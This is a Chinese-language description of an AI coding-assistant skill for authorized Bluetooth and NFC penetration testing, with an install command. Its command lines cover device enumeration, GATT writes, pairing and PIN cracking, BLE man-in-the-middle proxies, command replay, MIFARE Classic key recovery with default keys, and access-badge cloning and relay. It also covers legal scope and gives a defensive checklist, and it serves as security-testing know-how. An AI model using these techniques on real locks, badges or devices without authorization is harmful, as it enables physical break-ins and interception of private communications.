关于 attacking-bluetooth-nfc
面向经授权的无线安全测试人员,提供 Bluetooth 与 NFC 设备评估方法,覆盖设备发现、通信分析、凭据克隆和防御检查。内容强调无线测试的授权、隐私及物理范围管理。
主要功能
- 01发现 Bluetooth Classic 与 BLE 设备
- 02枚举 GATT 服务与特征
- 03分析或中继 BLE 通信
- 04检查 NFC 卡片与访问控制
- 05整理常见风险及防御清单
适用场景
- 01评估 BLE 外设和物联网设备
- 02测试 NFC 门禁卡与读卡器
- 03检查非接触支付或交通卡
- 04审查蓝牙通信和凭据安全
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-bluetooth-nfc安装后在 Claude Code 中输入/attacking-bluetooth-nfc确认已加载。
详细介绍
攻击蓝牙和 NFC
蓝牙和 NFC 与早期 Wi-Fi 有一个共同点——这些协议是为可信物理环境中的便利性而设计的,但如今这种信任假设已不再成立。BLE 设备经常以明文传输敏感数据,因为 GATT 特征当初被视为“内部”数据;NFC 门禁卡则依赖多年前就已被破解的密码技术。物理接近不等于访问控制。
适用场景
- 评估带有蓝牙接口的 BLE 外围设备或 IoT 设备
- 测试基于 NFC 的物理访问控制系统(门禁读卡器、门锁)
- 评估非接触式支付卡或交通卡的安全性
- 渗透测试 Bluetooth Classic 服务(RFCOMM、OBEX、SDP)
- 嗅探或拦截设备与应用之间的 BLE 通信
- 克隆或重放 NFC/RFID 凭证
范围和授权。 RF 测试有别于其他渗透测试,涉及特殊的法律风险,因为无线电信号无法限制在目标范围内:
- 拦截属于窃听法律管辖范围。 捕获 BLE 或 Bluetooth Classic 流量时,也会捕获附近的其他传输信号——员工手机、医疗设备、相邻租户的设备。在美国,这涉及《窃听法》和 ECPA;大多数司法管辖区也有类似法律。请在屏蔽箱中或可清点所捕获所有设备的受控区域内测试,并丢弃非目标捕获数据,不做分析。
- 发射信号受监管。 无论目标设备的所有者是谁,干扰信号、主动 BLE 注入和高功率中继装置都可能违反 FCC Part 15(或国家等效法规)。
- 克隆的访问凭证就是实体钥匙。 在许多司法管辖区,复制门禁卡可能涉及伪造,并会让你进入测试范围之外的区域。克隆前请确认哪些门在测试范围内,记录你制作的每个凭证,并在测试结束后销毁克隆件。
请以书面形式取得现场授权、RF 测试时段安排和设备清单,并随身携带授权函——RF 测试是你最有可能在测试过程中受到现场质询的场景。
不适用场景
- Wi-Fi 攻击——使用
attacking-wireless-networks - 超出 RF 接口范围的设备固件提取与分析——使用
analyzing-firmware-images - 超出 BLE 通信层的移动应用安全测试——使用
testing-mobile-applications
Bluetooth Classic
发现与枚举
hcitool scan # Discoverable devices
hcitool inq # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF # Name, class, features
hciconfig -a # Local adapters
# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF
服务发现和 RFCOMM
# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF # All services
sdptool search SP AA:BB:CC:DD:EE:FF # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF # OBEX Push
# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200 # Interact as serial device
PIN 暴力破解
spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture> # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK
BLE(Bluetooth Low Energy)
扫描和 GATT 枚举
hcitool lescan # Discover BLE devices
bettercap -eval "ble.recon on" # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF # Enumerate services
# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e # Read by handle
# char-write-req 0x000e 0100 # Write value
# char-write-req 0x000f 0100 # Enable notifications
# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>
nRF Connect(移动版或桌面版)通常是交互式浏览 GATT 的最快方式。请通过 UUID 和特征属性截图记录发现结果。
Just Works 配对
BLE 的“Just Works”配对不提供 MITM 防护。临时密钥为零,因此范围内的任何观察者都能推导出短期密钥并解密流量。如果设备使用 Just Works,请在报告中指出——具备数字比较或密码输入方式的 Secure Connections 才是最低要求。
BLE 攻击模式
使用 GATTacker 或 BtleJuice 进行 MITM 攻击
# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac> # Fake peripheral
node central.js -a <target_mac> # Proxy to real device
# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w # Core: connects to real device
btlejuice-proxy -i hci1 # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify
重放攻击
许多 BLE 设备对命令(解锁、配置)使用静态值。捕获特征值,然后通过你自己的连接重放。如果不存在随机数、计数器或会话绑定,设备就会接受该命令。
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031 # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex> # Replay
智能门锁、支持 BLE 的保险箱和 IoT 执行器中常见此类问题。
其他 BLE 弱点
明文特征。 IoT 设备经常通过可读的 GATT 特征暴露 Wi-Fi 凭证、设备令牌和配置信息,且不进行身份验证。请枚举并读取所有内容。
未签名的 DFU。 如果通过 BLE 进行的设备固件更新未进行签名验证,设备就会接受修改过的固件映像。请查找 Nordic DFU Service(UUID 0xFE59)或类似的 OTA 服务。
蓝牙嗅探
# Ubertooth One (Classic)
ubertooth-rx -l <LAP> # Follow specific connection
ubertooth-rx -r /tmp/bt.pcap # Pipe to Wireshark
ubertooth-specan # Spectrum analysis
# nRF52840 dongle (BLE)
# Flash nRF Sniffer firmware, then:
wireshark -k -i /dev/ttyACM0 # Select device in toolbar
Wireshark 过滤器: btle.advertising_header(广播),
btatt.handle == 0x000e(特定句柄),btsmp(配对流量)。
对于 Ubertooth Classic 捕获数据,请使用 btbb 插件。
NFC
Proxmark3
proxmark3 /dev/ttyACM0 # Start client
# Card identification
hf search # High-frequency
lf search # Low-frequency
# MIFARE Classic operations
hf mf autopwn # Try defaults, then nested/hardnested
hf mf dump # Dump entire card
hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF # Nested attack
hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta # Hardnested
# Clone and emulate
hf mf restore # Write dump to blank card
hf mf sim --1k # Emulate card
hf mf csetuid --uid <8_hex> # Set UID on magic card
MIFARE Classic(Crypto1)
Crypto1 已被破解。密钥恢复需要几秒到几分钟。
攻击优先级:
- 默认密钥 —— FFFFFFFFFFFF、A0A1A2A3A4A5、D3F7D3F7D3F7。许多部署从未更改这些密钥。
- Nested 攻击 —— 一个已知密钥即可恢复所有扇区密钥。
- Hardnested 攻击 —— 任意扇区中的一个已知密钥即可推导出其他密钥。
- Darkside 攻击 —— 适用于某些变体,无需已知密钥。
如果 MIFARE Classic 是唯一的门禁凭证,则该发现属于严重问题。
MIFARE DESFire
DESFire 使用 AES/3DES,无法直接恢复密钥。重点检查默认应用密钥(通常全为零)、密钥分散机制的弱点,以及后端是否会对 UID 之外的信息进行验证。
libnfc
nfc-list # List NFC devices
nfc-mfclassic r a dump.mfd # Read card
nfc-mfclassic w a dump.mfd # Write card
NFC 和门禁控制
克隆门禁卡
hf 14a reader # Read card UID
hf mf autopwn # Crack keys
hf mf dump # Dump contents
hf mf cload # Write to magic clone card
许多门禁系统只检查 UID,不检查加密的扇区数据。UID 克隆轻而易举,可彻底绕过这类部署的防护。
中继攻击(NFCGate)
NFC 中继会通过网络链路实时转发卡片通信。使用两台运行 NFCGate 的 Android 设备:一台靠近读卡器,另一台靠近受害者的卡片。尽管卡片实际位于别处,读卡器仍会看到有效交互。这会绕过距离限制假设。
NDEF 记录
hf mfu ndefread # Read NDEF data
# May contain: URLs, Wi-Fi credentials, BT pairing data, app data
公共场所中可写的 NFC 标签可能会被覆写为恶意 NDEF 记录(钓鱼 URL、恶意 Wi-Fi 配置)。
常见发现
| 发现 | 严重程度 | 备注 |
|---|---|---|
| 静态 BLE 配对 / Just Works | 高 | 被动窃听、中间人攻击 |
| 未加密的 GATT 特征 | 高 | 无需配对即可读取 |
| 重放静态 BLE 命令 | 高 | 无 nonce 或会话绑定 |
| Bluetooth Classic 默认 PIN | 中 | 0000/1234,可暴力破解 |
| MIFARE Classic 门禁控制 | 严重 | Crypto1 已被破解;几分钟即可破解 |
| 仅通过 UID 验证访问权限 | 严重 | 轻而易举即可克隆 |
| 未签名的 BLE DFU | 高 | 可在设备上运行任意代码 |
| 可写 NFC 标签且无身份验证 | 中 | 内容可被替换 |
| 无双向身份验证 | 高 | 任意 central 均可连接 |
| 默认 DESFire 应用密钥 | 高 | 初始部署时全为零 |
防御审查清单
- BLE 使用 Secure Connections 配对(数字比较或通行密钥)
- 敏感 GATT 特征需要绑定和加密
- BLE 命令包含与会话绑定的 nonce 或计数器
- DFU 在应用固件前验证固件签名
- NFC 卡使用 DESFire 或更安全的方案,而非 MIFARE Classic
- 门禁控制会验证扇区数据,而不只是 UID
- 每张卡使用单独分散的密钥
- 公共 NFC 标签设为只读或要求身份验证
- Bluetooth Classic 服务在访问数据前要求身份验证
- 已采取中继攻击缓解措施(距离界定、时序检测)
应驳斥的理由
-
“设备只能在蓝牙范围内访问。” 范围 扩展器、定向天线和中继攻击可以将 10 米延伸到 100 米。近距离并不构成安全边界。
-
“我们使用了 BLE 加密。” 如果没有 Secure Connections,临时 密钥就为零,任何被动监听者都可以解密流量。
-
“NFC 卡使用了加密(MIFARE Classic)。” Crypto1 自 2008 年起 就已被公开破解。恢复密钥只需几分钟。
-
“必须获得物理接触,因此风险很低。” 挂在挂绳上的徽章和放在架子上的 BLE 设备,任何能走进大厅的人都能接触到。
-
“我们会在后端检测克隆卡。” 大多数部署不会关联使用模式,也不会检测并发使用。请用 证据验证。
-
“BLE 特征没有文档说明。” GATT 枚举会自动进行。几秒钟内就能发现每个 特征。
-
“我们的 BLE 固件更新使用专有格式。” 专有格式并不是签名机制。没有签名 检查就意味着更新可以被替换。
参考资料
attacking-wireless-networks—— Wi-Fi 攻击和无线侦察analyzing-firmware-images—— 提取和分析设备固件testing-mobile-applications—— BLE 层之外的移动应用测试engineering-detections—— 针对 Bluetooth 和 NFC 滥用的检测规则